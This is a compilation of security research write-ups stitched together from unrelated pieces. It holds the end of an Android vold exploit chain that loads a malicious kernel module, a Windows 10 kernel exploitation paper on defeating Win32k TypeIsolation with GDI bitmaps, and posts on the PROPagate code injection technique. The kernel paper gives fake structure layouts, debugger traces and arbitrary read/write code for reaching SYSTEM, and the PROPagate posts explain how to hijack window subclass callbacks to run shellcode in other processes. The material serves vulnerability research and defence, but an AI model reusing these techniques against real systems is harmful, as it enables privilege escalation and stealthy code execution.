allow vendor_modprobe { vendor_file }:system module_load;

 

Android nowadays doesn’t require signatures for kernel modules:

 

walleye:/ # zcat /proc/config.gz | grep MODULE
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODULE_SRCVERSION_ALL=y
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_ARM64_MODULE_CMODEL_LARGE=y
CONFIG_ARM64_MODULE_PLTS=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=y
CONFIG_DEBUG_SET_MODULE_RONX=y

 

Therefore, you could execute an appropriately labeled file to execute code in modprobe context, then load an appropriately labeled malicious kernel module from there.

Lessons learned

Notably, this attack crosses two weakly-enforced security boundaries: The boundary from blkid_untrusted tovold (when vold uses the UUID provided by blkid_untrusted in a pathname without checking that it resembles a valid UUID) and the boundary from the zygote to the TCB (by abusing the zygote’s CAP_SYS_ADMINcapability). Software vendors have, very rightly, been stressing for quite some time that it is important for security researchers to be aware of what is, and what isn’t, a security boundary — but it is also important for vendors to decide where they want to have security boundaries and then rigorously enforce those boundaries. Unenforced security boundaries can be of limited use — for example, as a development aid while stronger isolation is in development -, but they can also have negative effects by obfuscating how important a component is for the security of the overall system.

In this case, the weakly-enforced security boundary between vold and blkid_untrusted actually contributed to the vulnerability, rather than mitigating it. If the blkid code had run in the vold process, it would not have been necessary to serialize its output, and the injection of a fake UUID would not have worked.

Save and Reborn GDI data-only attack from Win32k TypeIsolation

1 Background

In recent years, the exploit of GDI objects to complete arbitrary memory address R/W in kernel exploitation has become more and more useful. In many types of vulnerabilityes such as pool overflow, arbitrary writes, and out-of-bound write, use after free and double free, you can use GDI objects to read and write arbitrary memory. We call this GDI data-only attack.

Microsoft introduced the win32k type isolation after the Windows 10 build 1709 release to mitigate GDI data-only attack in kernel exploitation. I discovered a mistake in Win32k TypeIsolation when I reverse win32kbase.sys. It have resulted GDI data-only attack worked again in certain common vulnerabilities. In this paper, I will share this new attack scenario.

Debug environment:

OS:

Windows 10 rs3 16299.371

FILE:

Win32kbase.sys 10.0.16299.371

2 GDI data-only attack

GDI data-only attack is one of the common methods which used in kernel exploitation. Modify GDI object member-variables by common vulnerabilities, you can use the GDI API in win32k to complete arbitrary memory read and write. At present, two GDI objects commonly used in GDI data-only attacks are Bitmap and Palette. An important structure of Bitmap is:


Typedef struct _SURFOBJ {

DHSURF dhsurf;

HSURF hsurf;

DHPDEV dhpdev;

HDEV hdev;

SIZEL sizlBitmap;

ULONG cjBits;

PVOID pvBits;

PVOID pvScan0;

LONG lDelta;

ULONG iUniq;

ULONG iBitmapFormat;

USHORT iType;

USHORT fjBitmap;

} SURFOBJ, *PSURFOBJ;

An important structure of Palette is:


Typedef struct _PALETTE64

{

BASEOBJECT64 BaseObject;

FLONG flPal;

ULONG32 cEntries;

ULONG32 ulTime;

HDC hdcHead;

ULONG64 hSelected;

ULONG64 cRefhpal;

ULONG64 cRefRegular;

ULONG64 ptransFore;

ULONG64 ptransCurrent;

ULONG64 ptransOld;

ULONG32 unk_038;

ULONG64 pfnGetNearest;

ULONG64 pfnGetMatch;

ULONG64 ulRGBTime;

ULONG64 pRGBXlate;

PALETTEENTRY *pFirstColor;

Struct _PALETTE *ppalThis;

PALETTEENTRY apalColors[3];

}

In the kernel structure of Bitmap and Palette, two important member-variables related to GDI data-only attack are Bitmap->pvScan0 and Palette->pFirstColor. Two member-variables point to Bitmap and Palette’s data field, and you can read or write data from data field through the GDI APIs. As long as we modify two member-variables to any memory address by triggering a vulnerability, we can use GetBitmapBits/SetBitmapBits or GetPaletteEntries/SetPaletteEntries to read and write arbitrary memory address.

About using the Bitmap and Palette to complete the GDI data-only attack Now that there are many related technical papers on the Internet, and it is not the focus of this paper, there will be no more deeply sharing. The relevant information can refer to the fifth part.

3 Win32k TypeIsolation

The exploit of GDI data-only attack greatly reduces the difficulty of kernel exploitation and can be used in most common types of vulnerabilities. Microsoft has added a new mitigation after Windows 10 rs3 build 1709 —- Win32k Typeisolation, which manages the GDI objects through a doubly-linked list, and separates the head of the GDI object from the data field. This is not only mitigate the exploit of pool fengshui which create a predictable pool and uses a GDI object to occupy the pool hole and modify member-variables by vulnerabilities. but also mitigate attack scenario which modifies other member-variables of GDI object header to increase the controllable range of the data field, because the head and data field is no longer adjacent.

About win32k typeisolation mechanism can refer to the following figure:

Here I will explain the important parts of the mechanism of win32k typeisolation. The detailed operation mechanism of win32k typeisolation, including the allocation, and release of GDI object, can be referred to in the fifth part.

In win32k typeisolation, GDI object is managed uniformly through the CSectionEntry doubly linked list. The view field points to a 0x28000 memory space, and the head of the GDI object is managed here. The view field is managed by view array, and the array size is 0x1000. When assigning to a GDI object, RTL_BITMAP is used as an important basis for assigning a GDI object to a specified view field.

In CSectionEntry, bitmap_allocator points to CSectionBitmapAllocator, and xored_view, xor_key, xored_rtl_bitmap are stored in CSectionBitmapAllocator, where xored_view ^ xor_key points to the view field and xored_rtl_btimap ^ xor_key points to RTL_BITMAP.

In RTL_BITMAP, bitmap_buffer_ptr points to BitmapBuffer,and BitmapBuffer is used to record the status of the view field, which is 0 for idle and 1 for in use. When applying for a GDI object, it starts traversing the CSectionEntry list through win32kbase!gpTypeIsolation and checks whether the current view field contains a free memory by CSectionBitmapAllocator. If there is a free memory, a new GDI object header will be placed in the view field.

I did some research in the reverse engineering of the implementation of GDI object allocation and release about the CTypeIsolation class and the CSectionEntry class, and then I found a mistake. TypeIsolation traverses the CSectionEntry doubly linked list, uses the CSectionBitmapAllocator to determine the state of the view field, and manages the GDI object SURFACE which stored in the view field, but does not check the validity of CSectionEntry->view and CSectionEntry->bitmap_allocator pointers, that is to say if we can construct a fake view and fake bitmap_allocator, and we can use the vulnerability to modify CSectionEntry->view and CSectionEntry->bitmap_allocator to point to fake struct, we can re-use GDI object to complete the data-only attack.

4 Save and reborn gdi data-only attack!

In this section, I would like to share the idea of ​​this attack scenario. HEVD is a practice driver developed by Hacksysteam that has typical kernel vulnerabilities. There is an Arbitrary Write vulnerability in HEVD. We use this vulnerability as example to share my attack scenario.

Attack scenario:

First look at the allocation of CSectionEntry, CSectionEntry will allocate 0x40 size session paged pool, CSectionEntry allocate pool memory implementation in NSInstrumentation::CSectionEntry::Create().


.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes

.text:00000001C002AC8F mov r8d, 6F736955h ; Tag

.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType

.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool

In other words, we can still use the pool fengshui to create a predictable session paged pool hole and it will be occupied with CSectionEntry. Therefore, in the exploit scenario of HEVD Arbitrary write, we use the tagWND to create a stable pool hole. , and use the HMValidateHandle to leak tagWND kernel object address. Because the current vulnerability instance is an arbitrary write vulnerability, if we can reveal the address of the kernel object, it will facilitate our understanding of this attack scenario, of course, in many attack scenarios, we only need to use pool fengshui to create a predictable pool.


Kd> g//make a stable pool hole by using tagWND

Break instruction exception - code 80000003 (first chance)

0033:00007ff6`89a61829 cc int 3

Kd> p

0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]

Kd> p

0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax

Kd> r rax

Rax=ffff862e827ca220

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```

0xffff862e827ca220 is a stable session paged pool hole, and 0xffff862e827ca220 will be released later, in a free state.


Kd> p

0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]

Kd> p

0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8

Now we need to create the CSecitionEntry to occupy 0xffff862e827ca220. This requires the use of a feature of TypeIsolation. As mentioned in the second section, when the GDI object is requested, it will traverse the CSectionEntry and determine whether there is any free in the view field, if the view field of the CSectionEntry is full, the traversal will continue to the next CSectionEntry, but if CTypeIsolation doubly linked list, all the view fields of the CSectionEntrys are full, then NSInstrumentation::CSectionEntry::Create is invoked to create a new CSectionEntry.

Therefore, we allocate a large number of GDI objects after we have finished creating the pool hole to fill up all the CSectionEntry’s view fields to ensure that a new CSectionEntry is created and occupy a pool hole of size 0x40.


Kd> g//create a large number of GDI objects, 0xffff862e827ca220 is occupied by CSectionEntry

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso

Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:

Next we need to construct the fake CSectionEntry->view and fake CSectionEntry->bitmap_allocator and use the Arbitrary Write to modify the member-variable pointer in the CSectionEntry in the session paged pool hole to point to the fake struct we constructed.

The view field of the new CSectionEntry that was created when we allocate a large number of GDI objects may already be full or partially full by SURFACEs. If we construct the fake struct to construct the view field as empty, then we can deceive TypeIsolation that GDI object will place SURFACE in a known location.

We use VirtualAllocEx to allocate the memory in the userspace to store the fake struct, and we set the userspace memory property to READWRITE.


Kd> dq 1e0000//fake pushlock

00000000`001e0000 00000000`00000000 00000000`0000006c

Kd> dq 1f0000//fake view

00000000`001f0000 00000000`00000000 00000000`00000000

00000000`001f0010 00000000`00000000 00000000`00000000

Kd> dq 190000//fake RTL_BITMAP

00000000`00190000 00000000`000000f0 00000000`00190010

00000000`00190010 00000000`00000000 00000000`00000000

Kd> dq 1c0000//fake CSectionBitmapAllocator

00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f

00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f

00000000`001c0020 00000001`00000001 00000001`00000000

Among them, 0x1f0000 points to the view field, 0x1c0000 points to CSectionBitmapAllocator, and the fake view field is used to store the GDI object. The structure of CSectionBitmapAllocator needs thoughtful construction because we need to use it to deceive the typeisolation that the CSectionEntry we control is a free view item.


Typedef struct _CSECTIONBITMAPALLOCATOR {

PVOID pushlock; // + 0x00

ULONG64 xored_view; // + 0x08

ULONG64 xor_key; // + 0x10

ULONG64 xored_rtl_bitmap; // + 0x18

ULONG bitmap_hint_index; // + 0x20

ULONG num_commited_views; // + 0x24

} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;

The above CSectionBitmapAllocator structure compares with 0x1c0000 structure, and I defined xor_key as 0xdeadbeefdeadb33f, as long as the xor_key ^ xor_view and xor_key ^ xor_rtl_bitmap operation point to the view field and RTL_BITMAP. In the debugging I found that the pushlock must point to a valid structure pointer, otherwise it will trigger BUGCHECK, so I allocate memory 0x1e0000 to store pushlock content.

As described in the second section, bitmap_hint_index is used as a condition to quickly index in the RTL_BITMAP, so this value also needs to be set to 0x00 to indicate the index in RTL_BITMAP. In the same way we look at the structure of RTL_BITMAP.


Typedef struct _RTL_BITMAP {

ULONG64 size; // + 0x00

PVOID bitmap_buffer; // + 0x08

} RTL_BITMAP, *PRTL_BITMAP;

Kd> dyb fffff322401b90b0

76543210 76543210 76543210 76543210

-------- -------- -------- --------

Fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00

Fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00

Fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40

Fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff

Fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff

Kd> dq fffff322401b90b0

Fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer

Fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff

Fffff322`401b90d0 ffffffff`ffffffff

Here I select a valid RTL_BITMAP as a template, where the first member-variable represents the RTL_BITMAP size, the second member-variable points to the bitmap_buffer, and the immediately adjacent bitmap_buffer represents the state of the view field in bits. To deceive typeisolation, we will all of them are set to 0, indicating that the view field of the current CSectionEntry item is all idle, referring to the 0x190000 fake RTL_BITMAP structure.

Next, we only need to modify the CSectionEntry view and CSectionBitmapAllocator pointer through the HEVD’s Arbitrary write vulnerability.


Kd> dq ffff862e827ca220//before trigger

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000

Ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000

Kd> g / / trigger vulnerability, CSectionEntry-> view and CSectionEntry-> bitmap_allocator is modified

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21e35 cc int 3

Kd> dq ffff862e827ca220

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 00000000`001f0000

Ffff862e`827ca240 00000000`001c0000 00000000`00000000

Next, we normally allocate a GDI object, call CreateBitmap to create a bitmap object, and then observe the state of the view field.


Kd> g

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21ec8 cc int 3

Kd> dq 1f0280

00000000`001f0280 00000000`00051a2e 00000000`00000000

00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000

00000000`001f02a0 00000000`00051a2e 00000000`00000000

00000000`001f02b0 00000000`00000000 00000002`00000040

00000000`001f02c0 00000000`00000080 ffff862e`8277da30

00000000`001f02d0 ffff862e`8277da30 00003f02`00000040

00000000`001f02e0 00010000`00000003 00000000`00000000

00000000`001f02f0 00000000`04800200 00000000`00000000

You can see that the bitmap kernel object is placed in the fake view field. We can read the bitmap kernel object directly from the userspace. Next, we only need to directly modify the pvScan0 of the bitmap kernel object stored in the userspace, and then call the GetBitmapBits/SetBitmapBits to complete any memory address read and write.

Summarize the exploit process:

Fix for full exploit:

In the course of completing the exploit, I discovered that BSOD was generated some time, which greatly reduced the stability of the GDI data-only attack. For example,


Kd> !analyze -v

************************************************** *****************************

* *

* Bugcheck Analysis *

* *

************************************************** *****************************




SYSTEM_SERVICE_EXCEPTION (3b)

An exception happened while performing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck

Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.




Debugging Details:

------------------







OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap




EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx




FAULTING_IP:

Win32kbase!NSInstrumentation::CTypeIsolation&lt;163840,640>::AllocateType+47

Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi]




CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)

.cxr 0xffff8c8f89e98cf0

Rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080

Rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660

Rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000

R8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc

R11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680

R14=ffffd7a7424dca70 r15=0000000000000027

Iopl=0 nv up ei pl nz na po nc

Cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206

Win32kbase!NSInstrumentation::CTypeIsolation&lt;163840,640>::AllocateType+0x47:

Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi] ds:002b:00000000`001e0000=????????????????

After many tracking, I discovered that the main reason for BSOD is that the fake struct we created when using VirtualAllocEx is located in the process space of our current process. This space is not shared by other processes, that is, if we modify the view field through a vulnerability. After the pointer to the CSectionBitmapAllocator, when other processes create the GDI object, it will also traverse the CSecitionEntry. When traversing to the CSectionEntry we modify through the vulnerability, it will generate BSoD because the address space of the process is invalid, so here I did my first fix when the vulnerability was triggered finish.


DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;

DWORD64 fix_bitmapbits2 = 0xffffffffffff;

DWORD64 fix_number = 0x2800000000;

CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);

CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);

In the first fix, I modified the bitmap_hint_index and the rtl_bitmap to deceive the typeisolation when traverse the CSectionEntry and think that the view field of the fake CSectionEntry is currently full and will skip this CSectionEntry.

We know that the current CSectionEntry has been modified by us, so even if we end the exploit exit process, the CSectionEntry will still be part of the CTypeIsolation doubly linked list, and when our process exits, The current process space allocated by VirtualAllocEx will be released. This will lead to a lot of unknown errors. We have already had the ability to read and write at any address. So I did my second fix.


ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));

LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSePrevious);

LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));

In the second fix, I obtained CSectionEntry->previous and CSectionEntry->next, which unlinks the current CSectionEntry so that when the GDI object allocates traversal CSectionEntry, it will  deal with fake CSectionEntry no longer.

After completing the two fixes, you can successfully use GDI data-only attack to complete any memory address read and write. Here, I directly obtained the SYSTEM permissions for the latest version of Windows10 rs3, but once again when the process completely exits, it triggers BSoD. After the analysis, I found that this BSoD is due to the unlink after, the GDI handle is still stored in the GDI handle table, then it will find the corresponding kernel object in CSectionEntry and free away, and we store the bitmap kernel object CSectionEntry has been unlink, Caused the occurrence of BSoD.

The problem occurs in NtGdiCloseProcess, which is responsible for releasing the GDI object of the current process. The call chain associated with SURFACE is as follows


0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef

0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14

10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87

11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface is responsible for releasing the SURFACE kernel object in the GDI handle table. We need to find the HBITMAP which stored in the fake view in the GDI handle table, and set it to 0x0. This will skip the subsequent free processing in bDeleteSurface. Then call HmgNextOwned to release the next GDI object. The key code for finding the location of HBITMAP in the GDI handle table is in HmgSharedLockCheck. The key code is as follows:


V4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 *((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8 )v6 + 8);

Here I have restored a complete calculation method to find the bitmap object:


*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8

It is worth mentioning here is the need to leak the base address of win32kbase.sys, in the case of Low IL, we need vulnerability to leak info. And I use NtQuerySystemInformation in Medium IL to leak win32kbase.sys base address to calculate the gpHandleManager address, after Find the position of the target bitmap object in the GDI handle table in the fake view, and set it to 0x0. Finally complete the full exploit.

Now that the exploit of the kernel is getting harder and harder, a full exploitation often requires the support of other vulnerabilities, such as the info leak. Compared to the oob writes, uaf, double free, and write-what-where, the pool overflow is more complicated with this scenario, because it involves CSectionEntry->previous and CSectionEntry->next problems, but it is not impossible to use this scenario in pool overflow.

If you have any questions, welcome to discuss with me. Thank you!

5 Reference

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf

https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html

https://github.com/sam-b/windows_kernel_address_leaks

New code injection trick named — PROPagate code injection technique

ROPagate code injection technique

@Hexacorn discussed in late 2017 a new code injection technique, which involves hooking existing callback functions in a Window subclass structure. Exploiting this legitimate functionality of windows for malicious purposes will not likely surprise some developers already familiar with hooking existing callback functions in a process. However, it’s still a relatively new technique for many to misuse for code injection, and we’ll likely see it used more and more in future.

For all the details on research conducted by Adam, I suggest the following posts.

 

PROPagate — a new code injection trick

|=======================================================|

Executing code inside a different process space is typically achieved via an injected DLL /system-wide hooks, sideloading, etc./, executing remote threads, APCs, intercepting and modifying the thread context of remote threads, etc. Then there is Gapz/Powerloader code injection (a.k.a. EWMI), AtomBombing, and mapping/unmapping trick with the NtClose patch.

There is one more.

Remember Shatter attacks?

I believe that Gapz trick was created as an attempt to bypass what has been mitigated by the User Interface Privilege Isolation (UIPI). Interestingly, there is actually more than one way to do it, and the trick that I am going to describe below is a much cleaner variant of it – it doesn’t even need any ROP.

There is a class of windows always present on the system that use window subclassing. Window subclassing is just a fancy name for hooking, because during the subclassing process an old window procedure is preserved while the new one is being assigned to the window. The new one then intercepts all the window messages, does whatever it has to do, and then calls the old one.

The ‘native’ window subclassing is done using the SetWindowSubclass API.

When a window is subclassed it gains a new property stored inside its internal structures and with a name depending on a version of comctl32.dll:

  • UxSubclassInfo – version 6.x
  • CC32SubclassInfo – version 5.x

Looking at properties of Windows Explorer child windows we can see that plenty of them use this particular subclassing property:

So do other Windows applications – pretty much any program that is leveraging standard windows controls can be of interest, including say… OllyDbg:When the SetWindowSubclass is called it is using SetProp API to set one of these two properties (UxSubclassInfo, or CC32SubclassInfo) to point to an area in memory where the old function pointer will be stored. When the new message routine is called, it will then call GetProp API for the given window and once its old procedure address is retrieved – it is executed.

Coming back for a moment to the aforementioned shattering attacks. We can’t use SetWindowLong or SetClassLong (or their newer SetWindowLongPtr and SetClassLongPtr alternatives) any longer to set the address of the window procedure for windows belonging to the other processes (via GWL_WNDPROC or GCL_WNDPROC). However, the SetProp function is not affected by this limitation. When it comes to the process at the lower of equal  integrity level the Microsoft documentation says:

SetProp is subject to the restrictions of User Interface Privilege Isolation (UIPI). A process can only call this function on a window belonging to a process of lesser or equal integrity level. When UIPI blocks property changes, GetLastError will return 5.

So, if we talk about other user applications in the same session – there is plenty of them and we can modify their windows’ properties freely!

I guess you know by now where it is heading:

  • We can freely modify the property of a window belonging to another process.
  • We also know some properties point to memory region that store an old address of a procedure of the subclassed window.
  • The routine that address points to will be at some stage executed.

All we need is a structure that UxSubclassInfo/CC32SubclassInfo properties are using. This is actually pretty easy – you can check what SetProp is doing for these subclassed windows. You will quickly realize that the old procedure is stored at the offset 0x14 from the beginning of that memory region (the structure is a bit more complex as it may contain a number of callbacks, but the first one is at 0x14).

So, injecting a small buffer into a target process, ensuring the expected structure is properly filled-in and and pointing to the payload and then changing the respective window property will ensure the payload is executed next time the message is received by the window (this can be enforced by sending a message).

When I discovered it, I wrote a quick & dirty POC that enumerates all windows with the aforementioned properties (there is lots of them so pretty much every GUI application is affected). For each subclassing property found I changed it to a random value – as a result Windows Explorer, Total Commander, Process Hacker, Ollydbg, and a few more applications crashed immediately. That was a good sign. I then created a very small shellcode that shows a Message Box on a desktop window and tested it on Windows 10 (under normal account).

The moment when the shellcode is being called in a first random target (here, Total Commander):

Of course, it also works in Windows Explorer, this is how it looks like when executed:


If we check with Process Explorer, we can see the window belongs to explorer.exe:Testing it on a good ol’ Windows XP and injecting the shellcode into Windows Explorer shows a nice cascade of executed shellcodes for each window exposing the subclassing property (in terms of special effects XP always beats Windows 10 – the latter freezes after first messagebox shows up; and in case you are wondering why it freezes – it’s because my shellcode is simple and once executed it is basically damaging the running application):

For obvious reasons I won’t be attaching the source code.

If you are an EDR or sandboxing vendor you should consider monitoring SetProp/SetWindowSubclass APIs as well as their NT alternatives and system services.

And…

This is not the end. There are many other generic properties that can be potentially leveraged in a very same way:

  • The Microsoft Foundation Class Library (MFC) uses ‘AfxOldWndProc423’ property to subclass its windows
  • ControlOfs[HEX] – properties associated with Delphi applications reference in-memory Visual Component Library (VCL) objects
  • New windows framework e.g. Microsoft.Windows.WindowFactory.* needs more research
  • A number of custom controls use ‘subclass’ and I bet they can be modified in a similar way
  • Some properties expose COM/OLE Interfaces e.g. OleDropTargetInterface

If you are curious if it works between 32- and 64- bit processes

|=======================================================|

 

PROPagate follow-up — Some more Shattering Attack Potentials

|=======================================================|

We now know that one can use SetProp to execute a shellcode inside 32- and 64-bit applications as long as they use windows that are subclassed.

=========================================================

A new trick that allows to execute code in other processes without using remote threads, APC, etc. While describing it, I focused only on 32-bit architecture. One may wonder whether there is a way for it to work on 64-bit systems and even more interestingly – whether there is a possibility to inject/run code between 32- and 64- bit processes.

To test it, I checked my 32-bit code injector on a 64-bit box. It crashed my 64-bit Explorer.exe process in no time.

So, yes, we can change properties of windows belonging to 64-bit processes from a 32-bit process! And yes, you can swap the subclass properties I described previously to point to your injected buffer and eventually make the payload execute! The reason it works is that original property addresses are stored in lower 32-bit of the 64-bit offset. Replacing that lower 32-bit part of the offset to point to a newly allocated buffer (also in lower area of the memory, thanks to VirtualAllocEx) is enough to trigger the code execution.

See below the GetProp inside explorer.exe retrieving the subclassed property:

So, there you have it… 32 process injecting into 64-bit process and executing the payload w/o heaven’s gate or using other undocumented tricks.

The below is the moment the 64-bit shellcode is executed:

p.s. the structure of the subclassed callbacks is slightly different inside 64-bit processes due to 64-bit offsets, but again, I don’t want to make it any easier to bad guys than it should be 🙂

=========================================================

There are more possibilities.

While SetWindowLong/SetWindowLongPtr/SetClassLong/SetClassLongPtr are all protected and can be only used on windows belonging to the same process, the very old APIs SetWindowWord and SetClassWord … are not.

As usual, I tested it enumerating windows running a 32-bit application on a 64-bit system and setting properties to unpredictable values and observing what happens.

It turns out that again, pretty much all my Window applications crashed on Window 10. These 16 bits seem to be quite powerful…

I am not a vulnerability researcher, but I bet we can still do something interesting; I will continue poking around. The easy wins I see are similar to SetProp e.g. GWL_USERDATA may point to some virtual tables/pointers; the DWL_USER – as per Microsoft – ‘sets new extra information that is private to the application, such as handles or pointers’. Assuming that we may only modify 16 bit of e.g. some offset, redirecting it to some code cave or overwriting unused part of memory within close proximity of the original offset could allow for a successful exploit.

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PROPagate follow-up #2 — Some more Shattering Attack Potentials

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A few months back I discovered a new code injection technique that I named PROPagate. Using a subclass of a well-known shatter attack one can modify the callback function pointers inside other processes by using Windows APIs like SetProp, and potentially others. After pointing out a few ideas I put it on a back burner for a while, but I knew I will want to explore some more possibilities in the future.

In particular, I was curious what are the chances one could force the remote process to indirectly call the ‘prohibited’ functions like SetWindowLong, SetClassLong (or their newer alternatives SetWindowLongPtr and SetClassLongPtr), but with the arguments that we control (i.e. from a remote process). These API are ‘prohibited’ because they can only be called in a context of a process that owns them, so we can’t directly call them and target windows that belong to other processes.

It turns out his may be possible!

If there is one common way of using the SetWindowLong API it is to set up pointers, and/or filling-in window-specific memory areas (allocated per window instance) with some values that are initialized immediately after the window is created. The same thing happens when the window is destroyed – during the latter these memory areas are usually freed and set to zeroes, and callbacks are discarded.

These two actions are associated with two very specific window messages:

  • WM_NCCREATE
  • WM_NCDESTROY

In fact, many ‘native’ windows kick off their existence by setting some callbacks in their message handling routines during processing of these two messages.

With that in mind, I started looking at existing processes and got some interesting findings. Here is a snippet of a routine I found inside Windows Explorer that could be potentially abused by a remote process:

Or, it’s disassembly equivalent (in response to WM_NCCREATE message):

So… since we can still freely send messages between windows it would seem that there is a lot of things that can be done here. One could send a specially crafted WM_NCCREATE message to a window that owns this routine and achieve a controlled code execution inside another process (the lParam needs to pass the checks and include pointer to memory area that includes a callback that will be executed afterwards – this callback could point to malicious code). I may be of course wrong, but need to explore it further when I find more time.

